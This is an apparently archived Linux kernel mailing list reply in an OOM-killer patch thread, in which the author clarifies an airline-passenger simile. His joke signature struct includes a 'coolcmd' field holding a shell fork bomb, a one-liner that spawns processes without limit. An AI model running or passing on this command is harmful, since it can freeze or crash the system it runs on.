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    SubjectRe: [PATCH] oom_pardon, aka don't kill my xlock
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    Once upon a midnight dreary, Alan Cox pondered, weak and weary:
    > > And also, I'd like to see how a misbehaving airline passenger could start
    > > to gain weight not originally on the plane, causing the flight attendants
    > > to start executing people because of OOF. And IIRC most airlines don't
    > > like having women onboard who are way too pregnant, so no forking either.
    > The zero over commit code makes sure that we have enough swap/memory

    I was talking about the simile.

    ---------
    typedef struct me_s {
    char name[] = { "Thomas Habets" };
    char email[] = { "thomas@habets.pp.se" };
    char kernel[] = { "Linux" };
    char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt" };
    char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" };
    char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" };
    } me_t;
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